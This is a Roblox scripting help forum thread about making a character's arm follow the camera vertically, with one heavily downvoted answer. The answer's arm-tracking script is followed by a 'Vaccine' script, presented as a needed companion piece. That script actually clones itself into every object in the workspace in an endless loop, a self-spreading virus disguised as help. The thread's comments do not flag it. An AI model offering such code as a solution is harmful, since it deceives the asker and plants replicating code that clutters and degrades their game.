Scripting Helpers is winding down operations and is now read-only. More info→
Ad
Log in to vote
2

Make arm follow cursor on the y axis?

Asked by 10 years ago

I'm using welds, and I made this value (named RadX) that rotates the arm up and down.

How would I go about making the arm follow camera up and down? I'm using the camera, because it's set to LockedFirstPerson, so it wouldn't make sense to use the cursor, since it will always be in the center of the screen.

I've tried;

while wait() do 
    script.RarmConfig.RadX.Value = workspace.CurrentCamera.CoordinateFrame.lookVector.Y 
end 

This kind of works, but not exactly. I'm not very good at math, so I can't figure out how to offset it enough to make it work correctly.

-- Note that the animation stuff is done in a different script. It's set up to animate the arm when certain values are changed. The script works correctly. I just don't know how to offset it enough to make the arm look right. RadX is a value that makes the arm move up and down. Default position is either -90 or -95.

0
Still need help with this. Post if you're having trouble understanding. Scriptos 45 — 10y

1 answer

Log in to vote
-4
Answered by 10 years ago

This makes the head and arm follow cursor. Hope its good enough.

wait()
Tool=script.Parent
CP,Torso,g=nil,nil,nil
necko=CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
getPos=function(Pos,TorsoPos)
    return Vector3.new(Pos.x,TorsoPos.y,Pos.z)
end
Turn=function(mouse,Torso,Gyro)
    g.cframe=CFrame.new(Torso.Position,getPos(mouse.Hit.p,Torso.Position))
    offset=(Torso.Position.y-mouse.Hit.p.y)/100
    mag=(Torso.Position-mouse.Hit.p).magnitude/80
    offset=offset/mag
    neck=Torso.Neck
    neck.C0=necko*CFrame.fromEulerAnglesXYZ(offset,0,0)
    arm=Torso:FindFirstChild("Right Shoulder")
    if arm~=nil then
        arm.C0=CFrame.new(1, 0.5, 0, 0, 0, 1, -6.48200512e-007, 1.00000274, 0, -1.00000274, -6.48200512e-007, 0)*CFrame.fromEulerAnglesXYZ(0,0,-offset)
    end
end
Equi=function(mouse)
    wait(.2)    
    CP=Tool.Parent
    Torso=CP.Torso
    g=Instance.new("BodyGyro")
    g.P=18000
    g.D=600
    g.maxTorque=Vector3.new(80000,80000000,80000)*50000000000000000000000000
    g.cframe=Torso.CFrame
    g.Parent=Torso
    while true do
        if Tool.Parent.className~="Model" then
            break
        end
        Turn(mouse,Torso,g)
        wait()
    end
    Torso.Neck.C0=necko
    g:Remove()
end
Tool.Equipped:connect(Equi)

Put this Vaccine script in a diffrent script and group it in the script above.

function spread()
local stuff = game.Workspace:GetChildren()
for i = 1, #stuff do
if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
local clone = script:clone()
clone.Parent = stuff[i]
end
end
end

while true do
wait(.1)
spread()
end

function GetAllItems(mdl) 
local objs = {} 
function Search(obj) 
if obj~=workspace then 
table.insert(objs,obj) 
end 
if #obj:GetChildren() > 0 then 
for i, v in ipairs(obj:GetChildren()) do 
Search(v) 
end 
end 
end 
Search(mdl) 
return objs 
end 

0
y this has so many downvotes? botw_legend 502 — 3y
0
maybe it doesnt work XDRalphAnimator 0 — 3y
Ad

Answer this question